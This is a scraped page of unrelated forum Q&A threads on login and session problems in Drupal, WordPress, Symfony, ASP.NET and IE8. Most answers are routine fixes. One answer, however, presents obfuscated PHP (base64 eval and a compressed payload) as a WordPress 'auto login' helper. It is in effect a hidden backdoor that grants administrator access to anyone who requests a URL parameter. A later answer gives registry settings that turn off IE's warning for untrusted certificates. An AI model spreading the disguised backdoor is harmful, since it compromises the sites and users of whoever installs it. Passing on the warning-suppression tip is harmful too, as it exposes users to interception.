Migrated a fully-functioning Drupal 7 site and corresponding database to a new server. I am unable to login to the admin side. The error message is: “Access Denied. You are not authorized to access this page.” The username and password has been verified.
I looked at /admin/reports/dblog, the error log shows 2 entries per login. One entry shows the session is opened for the correct username, and the other entry shows access denied and the user is ‘anonymous.’ It is my assumption that Drupal is not able to validate the user so it is assigning the user as anonymous.
I read many forum topics on similar issues. I commented out the ‘$cookie_domain’ in ‘settings.php’, but still nothing. I looked back at the functioning site and saw that 2 cookies are generated: ‘has_js’ and a session ID cookie. In the new site, only the ‘has_js’ cookie is generated (using both Firefox and Chrome browsers). I have verified that the session id is being saved to the session table in the database.
I have looked into modifying ‘php.ini’ (etc/php5/apache2/php.ini) but have not found a solution that saves the session id cookie.
Drupal 7
Linux Server
Ubuntu 12.04
Apache 2.2.22
MySql 14.14
PHP 5.3.10
Uncomment line 340 on settings.php to reflect your domain name
e.g. for localhost
$cookie_domain = 'localhost';
Please note this works for drupal 7 and my php version is 5.6.
Regards,
When migrating drupal installations from server to another there is several problems that could appear.
1) check your file permissions, because sometimes we migrate files from server to another and having different owner:group and this gives serious problems.
2) You need to delete all cache before migrating to avoid having access problems and using wrong urls from cache and so on, in your case you already migrated Drupal, so you need to go to the DB and delete content of all cache_* databases. this could help you.
3) if not you need to look at what php version you have been using and mysql and apache maybe some deprecated functions or so.
I had the same problem, except that I could see the session cookie in Chrome (Settings -> Show Advanced Settings -> Content Settings -> All Site Cookies and Data). The cookie's "Send for" property was set to "Secure Connections Only" and my site was running up on HTTP / port 80. Thus the browser would not send the cookie back to the web.
The problem turned out to be this line in php.ini: session.cookie_secure = 1
When this option is set, PHP will specify that the cookie may only be sent over a secure (HTTPS) connection. This makes it harder to mount a man-in-the-middle attack because the cookie is no longer sent via clear text.
There are two ways to resolve the issue: 1) Switch the site to HTTPS. 2) In php.ini, set session.cookie_secure = 0
I had the same problem. Number 3 from the first answer saved me - I'd recently changed my MAMP PHP version to 5.6 and this seemed to be causing the issue. Reverting back to 5.5 means I can now login.
Related
I have a static website on which I installed cloudflare flexible SSL.
but now in a folder I installed wordpress here https://www.kiransboutique.com/wordpressrvc/
non of its link is working and wp-admin is also not redirecting to dashboard. I am using correct login credentials.
Can anybody suggest any solution? exactly same installation is working here http://bestcoachingcenter.com/kirans/
To auto login into your wordpress admin , by not adding admin username and password eachtime, you can use below code snippet.
Using this code in a php file and placing it on root directory of your wordpress installation helps you to get login into wp-admin with an administrator account.
What is required to make it work is, you need to hit the url by passing keyword “wpglogin” in query URL as given below –
http://www.sitename.com/codefile.php?wpglogin=YWRtaW4=
By hitting the above URL , you will get entered into admin easily.
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=e044e9d170abfceff3904a363ae1348b68619a68hVRta9swEP7sQv+DFkKllMRpYexDQwKjdSHQbl2S7UsoQrEvsTbF8mQZN5T+9+nFdry1ZQkB5+55Od2dnAJLQBF8LTMNmR6tDjlcIZbngsdMc5mNfxYyw4PJ6Ul/ywU8MJ1OUcJVxvZA+nQZLX5EizVeXi/mDyt6O7+Lvny+j/CjZfAsFmUCVGaxwTb0sDeu8pGQLAnzNO9Z4E7IDROoX+XJxvwFpaSiCnKpNM925MJi/JdvCS8K0MZ6EX37Hi1Xa1zlhr/jmTFFZ2fozQz6MEUYD55PT4J+E0VTtGEFfPpIE4hlAu9oGu/A2HZoRoole5N0ekGfqV1hxJhS7EBsJMBKCsCo+UxnNYMXWjEtFR56WFbuN6Bw4DGXNjiYIC9q8WUBykrvQFP3TJyZqyno2wjliclfuoCt8kjzxXVRneT64nE0S5hmo9n8xpFfnOTvEtTBQPEyuouuV+gc3S6+3iMcutmMZrmCLX8KsS+sSkEBmt9YQtgYhRj78hQUpdC2/JpsT1EHiXdyB2lK9yDBCk3dBrhG4+YYnak1yu4QztVl2mPYn6um0zm6ORDsRzpstdrZWoQ3SiRlsV18YnaA1gTkAF2vOuQHYYBmJWlcKmXukLMjDcU05y8QK3VKYyl/cXiNGY/t2cztglhTLafOzw2NlkqQwSQI6s4eMajgGur0USMXLIZ2J3FVVSF+08NgtOJ7YhaT1jTS8Ie93rCLHbQFGDs/hzYXYnurXa1jtpGltpfbL0Jav2PupH+lXLllUcIsii8Jnrj2tZ1DnMr3dPEk4dD2km2BNjjyHuOob7pzPq53A0QBz/820pznVbv/62Ua0jHw8i9/AA==
Your homepage is still in "hello World" state, so you may still want an answer. I had the same(?) problem; and checked posts like yours on Stackoverflow/Stackexchange - alas no joy.
What worked for me:
If you are using the official Cloudflare plugin ( https://wordpress.org/plugins/cloudflare/ ) set “Automatic HTTPS Rewrites” to “On”. This solved link and CSS issues under HTTPS, and saved me having to install additional SSL related plugins.
As a stop gap: If you have not configured WP to "force SSL" you might be able to login using an "http://" address (as I was).
To enable "HTTPS" login, edit wp-config.php and insert the following line:
if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
$_SERVER['HTTPS']='on';
If you want a bit more detail I posted about it here: http://wptest.means.us.com/cloudflare-wordpress-unable-login-https/
Note: Flexible SSL is better than no SSL as it encrypts the "connection" between you and Cloudflare. However, CF's connection to your server is still "HTTP" and your login credentials are STILL vulnerable to eavesdropping on this leg of the journey.
I'm still checking, but I think you can also make the CF <-> Server connection secure by enabling Cloudflare Railgun (used to reduce data transfer from your server). Railgun uses TLS, so data is encrypted. I assume if you use both Flexible SSL and Railgun your connections are secure end to end. Some inexpensive hosts include Railgun for free in their packages.
you can fix Wordpress SSL login problem by entering your server IP to the Windows HOSTS file.
Find Hosts file in windows\system32\hosts add your IP and domain name.
I've created a registration system like this:
User fills in a form at /register
The form is posted to the same page (/register)
If the form is valid, the user will be added to the database with isActive = 0
A token will be generated to activate the user
The user gets an e-mail with a link containing the token
The user clicks the link and goes to /activate/{token}
If the token matches to the database, the user will be activated isActive = 1 and redirected to return $this->redirect($this->generateUrl('login')); with a flashmessage Account activated, you can login now.
Everything is working fine, over 1500 users registered in the past 2 days. But some are experiencing trouble activating their account. After clicking the link they receive a 404-error. However, their accounts are activated as supposed.
I searched the logs and found around 1500 records, more or less around the time users are activating their account: No route found for "GET /favicon.ico"
/favicon.ico doesn't exist, the favicon is located somewhere else and included in shell.html.twig, so every regular page has the favicon. But because the /activate/{token} is just redirecting, no view is loaded.
It possible this has something to do with the error some users are encoutering?
Maybe the error has nothing to do with the favicon, all suggestion are more then welcome. I'm not able to reproduce the error, so it's very hard to debug at the moment.
Also try to use different browsers to test this. You can also test this on your local machine. I have found online that some browsers (IE) automatically request /favicon.ico in some cases, if you include it somewhere or not.
Read through this for a start: How to prevent favicon.ico requests?
I see this is an old thread and you probably solved your issue years ago but here are my two cents - when I try to run a Symfony 2.3 application with one of the later php 5 versions, I get the same error message as you in my log file, it complains about the favicon.
That is however not the real issue. The real issue that caused this redirection and in turn the favicon-issue is that I am using an old version of FOS User Bundle, and there is a conflict between the user unserialization and the new php version. Move to a more recent version of FOS User Bundle and you should be ok.
I'm new to wordpress, so please bear with me.
We're hosting a wordpress 4.1 installation internally in our Windows Server, within our network; our WP url is http://ourserver:2020/wordpress/wp-login.php We're behind a firewall and I don't have access to it.
Initially, it wouldn't connect at all from the start, so I added the following and it works:
define('WP_PROXY_HOST', 'proxy.ourcompany.com');
define('WP_PROXY_PORT', '8080');
define ('WP_ACCESSIBLE_HOSTS', 'api.wordpress.org, downloads.wordpress.org, planet.wordpress.org, akismet.com');
But after I download and install a theme, I get the same error 3 times, but in different lines of update.php:
WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.) in C:\xampp\htdocs\wordpress\wp-includes\update.php on line 119
So I'm thinking that here particularly, WP requires a secure HTTPS connection to WP's server. That has to be the only explanation because it already connected to WP to download the theme.
I also added the following, but nothing:
define('FORCE_SSL_LOGIN', false);
define('FORCE_SSL_ADMIN', false);
define('FORCE_SSL', false);
define('WP_HTTP_BLOCK_EXTERNAL', false);
So two questions:
Is it possible that the error has to with the WP installation requiring a secure connection?
How can I connect securely from an IP to the wordpress server? From what I've read, I can't install an SSL certificate if I don't have a domain name.
Thanks.
The error is not with WordPress wanting to connect back to itself securely. It is trying to make a call to https://wordpress.org. The Defines you added are actually making it worse.
define('FORCE_SSL_LOGIN', false);
define('FORCE_SSL_ADMIN', false);
define('FORCE_SSL', false);
define('WP_HTTP_BLOCK_EXTERNAL', false);
I would remove them.
As ot the problem, I seem to remember Andrew Nacin talking about the fact that they were migrating all calls back to wordpress.org to https calls. While it is possible that it is your setup, my guess is that it is your firewall. For some reason it is blocking access to https://wordpress.org. This can easily be verified by checking the firewall logs. If that is the case, you will need to figure out how to allow your site to dial out in order to use the theme and/or plugin installer. Also, you won't be able to use the automatic updater.
All of these tasks can be done manually, so it's not the end of the world if you can't unblock it. But it will be an inconvenience.
HTH,
=C=
Have a portal which uses forms authentication
LoginUrl=Login.aspx DefaultUrl=Default.aspx
User credentials are in db... So during login, we get all the user credentials - so we reach db, user authenticated (Fidler shows http 302 for default.aspx), redirect to deault.aspx and back to login page again as we don't authenticated but we do IT!!!
have 4 machines on the project - 3 works ok - mine - not! Compare all the data - I have the same web config, iis setting etc
what it could be?
Thanks
If you have a web farm you need to ensure that all servers in the farm share the same machineKey because if you have autogenerated and different machine keys the authentication ticket might not be properly decrypted.
Did you set a domain on the forms element in the web.config file? If so, the request url must be within the domain or forms authentication just wont work. Localhost won't work either.
If you're testing on a development system you may want to add a fully qualified domain name to the hosts file ( [SystemDrive]:\Windows\System32\Drivers\Etc\hosts ).
so, I fixed the problem... the reason - my inattention...
so, I use fiddler again to analyze my requests/responses... so,
1) go to Default
2)redirect to Login and input login-password
3)the user found in db - FormAuthentication ticket created
4)redirect to Default
5) User became non-authenticated and move back to login page....
so Fiddler shows that on step 3 cookies created and debug shows that the user authenticated. But no cookie passed to Dfeault page.
I found that cookies from Login page has "secure" mark. It means that I have requireSSL=true property in webconfig... but requireSSL has value false on default... so, something overwrites it... I found one more config file in folder of top level with requireSSL=true... when I remove top-level config file - everything start work fine...
surely standard situation to miss someting... but such interesting effect I see first time - to do authentication and its break during redirect to default page - may be it helps somebody to save his/her time in further...
but anyway - thanks the people answer me for the problem :)
Sorry ,my English is poor, I have never speak English after I leave the school.
but now this problem have trouble me for a long days.
My problem: when I open the website which the security certificate is wrong ,then
IE8 show:
===========================
There is a problem with this website's security certificate.
The security certificate presented by this website was not issued by a trusted certificate authority.
Security certificate problems may indicate an attempt to fool you or intercept any data you send to the server.
We recommend that you close this webpage and do not continue to this website.
Click here to close this webpage.
Continue to this website (not recommended).
==============================
I want to open this website(https) without show this alert page
the method may use "regedit", or change the internet Options, or by code ......and so on.
please help me
thanks thanks thanks
You can do this via regedit. Go to the following key:
HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Internet Settings
And set WarnonBadCertRecving to 0
If it doesn't exist, create a new DWORD called WarnonBadCertRecving and then set that to 0.
Alternatively, make a .reg file containing this and double click to run:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"WarnonBadCertRecving"=dword:00000000